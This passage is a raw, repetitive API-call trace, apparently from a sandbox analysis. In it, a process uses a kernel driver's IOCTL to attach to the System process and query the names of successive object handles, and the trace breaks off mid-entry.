[0064.080] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.080] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.080] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.080] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.080] PsAcquireProcessExitSynchronization () returned 0x0 [0064.081] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.081] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002142050, HandleInformation=0x0) returned 0x0 [0064.081] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.081] PsReleaseProcessExitSynchronization () returned 0x2 [0064.081] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.081] ObQueryNameString (in: Object=0xfffffa8002142050, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.081] ObfDereferenceObject (Object=0xfffffa8002142050) returned 0x2 [0064.081] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.081] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.081] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.081] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.081] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.081] PsAcquireProcessExitSynchronization () returned 0x0 [0064.081] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.081] ObReferenceObjectByHandle (in: Handle=0xffffffff800006bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002125660, HandleInformation=0x0) returned 0x0 [0064.081] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.081] PsReleaseProcessExitSynchronization () returned 0x2 [0064.081] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.081] ObQueryNameString (in: Object=0xfffffa8002125660, ObjectNameInfo=0xfffffa80038e1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.081] ObfDereferenceObject (Object=0xfffffa8002125660) returned 0x2 [0064.081] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.081] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.081] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.081] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.081] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.081] PsAcquireProcessExitSynchronization () returned 0x0 [0064.081] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.081] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002142a10, HandleInformation=0x0) returned 0x0 [0064.081] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.081] PsReleaseProcessExitSynchronization () returned 0x2 [0064.081] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.081] ObQueryNameString (in: Object=0xfffffa8002142a10, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.081] ObfDereferenceObject (Object=0xfffffa8002142a10) returned 0x2 [0064.081] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.082] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.082] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.082] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.082] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.082] PsAcquireProcessExitSynchronization () returned 0x0 [0064.082] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.082] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002131050, HandleInformation=0x0) returned 0x0 [0064.082] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.082] PsReleaseProcessExitSynchronization () returned 0x2 [0064.082] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.082] ObQueryNameString (in: Object=0xfffffa8002131050, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.082] ObfDereferenceObject (Object=0xfffffa8002131050) returned 0x2 [0064.082] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.082] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.082] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.082] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.082] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.082] PsAcquireProcessExitSynchronization () returned 0x0 [0064.082] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.082] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213f2c0, HandleInformation=0x0) returned 0x0 [0064.082] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.082] PsReleaseProcessExitSynchronization () returned 0x2 [0064.082] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.082] ObQueryNameString (in: Object=0xfffffa800213f2c0, ObjectNameInfo=0xfffffa80038e5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.082] ObfDereferenceObject (Object=0xfffffa800213f2c0) returned 0x2 [0064.082] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.082] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.082] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.082] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.082] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.082] PsAcquireProcessExitSynchronization () returned 0x0 [0064.082] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.082] ObReferenceObjectByHandle (in: Handle=0xffffffff800006cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800212e790, HandleInformation=0x0) returned 0x0 [0064.082] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.082] PsReleaseProcessExitSynchronization () returned 0x2 [0064.083] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.083] ObQueryNameString (in: Object=0xfffffa800212e790, ObjectNameInfo=0xfffffa80038e6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.083] ObfDereferenceObject (Object=0xfffffa800212e790) returned 0x2 [0064.083] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.083] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.083] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.083] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.083] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.083] PsAcquireProcessExitSynchronization () returned 0x0 [0064.083] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.083] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002140a10, HandleInformation=0x0) returned 0x0 [0064.083] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.083] PsReleaseProcessExitSynchronization () returned 0x2 [0064.083] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.083] ObQueryNameString (in: Object=0xfffffa8002140a10, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.083] ObfDereferenceObject (Object=0xfffffa8002140a10) returned 0x2 [0064.083] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.083] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.083] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.083] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.083] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.083] PsAcquireProcessExitSynchronization () returned 0x0 [0064.083] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.083] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002131220, HandleInformation=0x0) returned 0x0 [0064.083] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.083] PsReleaseProcessExitSynchronization () returned 0x2 [0064.083] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.083] ObQueryNameString (in: Object=0xfffffa8002131220, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.083] ObfDereferenceObject (Object=0xfffffa8002131220) returned 0x2 [0064.083] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.083] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.083] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.083] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.083] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.083] PsAcquireProcessExitSynchronization () returned 0x0 [0064.083] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.084] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213ff20, HandleInformation=0x0) returned 0x0 [0064.084] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.084] PsReleaseProcessExitSynchronization () returned 0x2 [0064.084] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.084] ObQueryNameString (in: Object=0xfffffa800213ff20, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.084] ObfDereferenceObject (Object=0xfffffa800213ff20) returned 0x2 [0064.084] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.084] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.084] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.084] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.084] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.084] PsAcquireProcessExitSynchronization () returned 0x0 [0064.084] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.084] ObReferenceObjectByHandle (in: Handle=0xffffffff800006dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002131860, HandleInformation=0x0) returned 0x0 [0064.084] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.084] PsReleaseProcessExitSynchronization () returned 0x2 [0064.084] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.084] ObQueryNameString (in: Object=0xfffffa8002131860, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.084] ObfDereferenceObject (Object=0xfffffa8002131860) returned 0x2 [0064.084] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.084] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.084] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.084] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.084] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.084] PsAcquireProcessExitSynchronization () returned 0x0 [0064.084] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.084] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213f980, HandleInformation=0x0) returned 0x0 [0064.084] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.084] PsReleaseProcessExitSynchronization () returned 0x2 [0064.084] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.084] ObQueryNameString (in: Object=0xfffffa800213f980, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.084] ObfDereferenceObject (Object=0xfffffa800213f980) returned 0x2 [0064.084] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.084] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.084] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.084] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.085] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.085] PsAcquireProcessExitSynchronization () returned 0x0 [0064.085] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.085] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002132480, HandleInformation=0x0) returned 0x0 [0064.085] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.085] PsReleaseProcessExitSynchronization () returned 0x2 [0064.085] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.085] ObQueryNameString (in: Object=0xfffffa8002132480, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.085] ObfDereferenceObject (Object=0xfffffa8002132480) returned 0x2 [0064.085] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.085] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.085] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.085] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.085] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.085] PsAcquireProcessExitSynchronization () returned 0x0 [0064.085] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.085] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213ef20, HandleInformation=0x0) returned 0x0 [0064.085] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.085] PsReleaseProcessExitSynchronization () returned 0x2 [0064.085] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.085] ObQueryNameString (in: Object=0xfffffa800213ef20, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.085] ObfDereferenceObject (Object=0xfffffa800213ef20) returned 0x2 [0064.085] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.085] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.085] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.085] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.085] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.085] PsAcquireProcessExitSynchronization () returned 0x0 [0064.085] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.085] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002132a20, HandleInformation=0x0) returned 0x0 [0064.085] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.085] PsReleaseProcessExitSynchronization () returned 0x2 [0064.085] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.085] ObQueryNameString (in: Object=0xfffffa8002132a20, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.085] ObfDereferenceObject (Object=0xfffffa8002132a20) returned 0x2 [0064.086] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.086] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.086] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.086] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.086] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.086] PsAcquireProcessExitSynchronization () returned 0x0 [0064.086] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.086] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800213e8e0, HandleInformation=0x0) returned 0x0 [0064.086] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.086] PsReleaseProcessExitSynchronization () returned 0x2 [0064.086] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.086] ObQueryNameString (in: Object=0xfffffa800213e8e0, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.086] ObfDereferenceObject (Object=0xfffffa800213e8e0) returned 0x2 [0064.086] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.086] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.086] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.086] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, 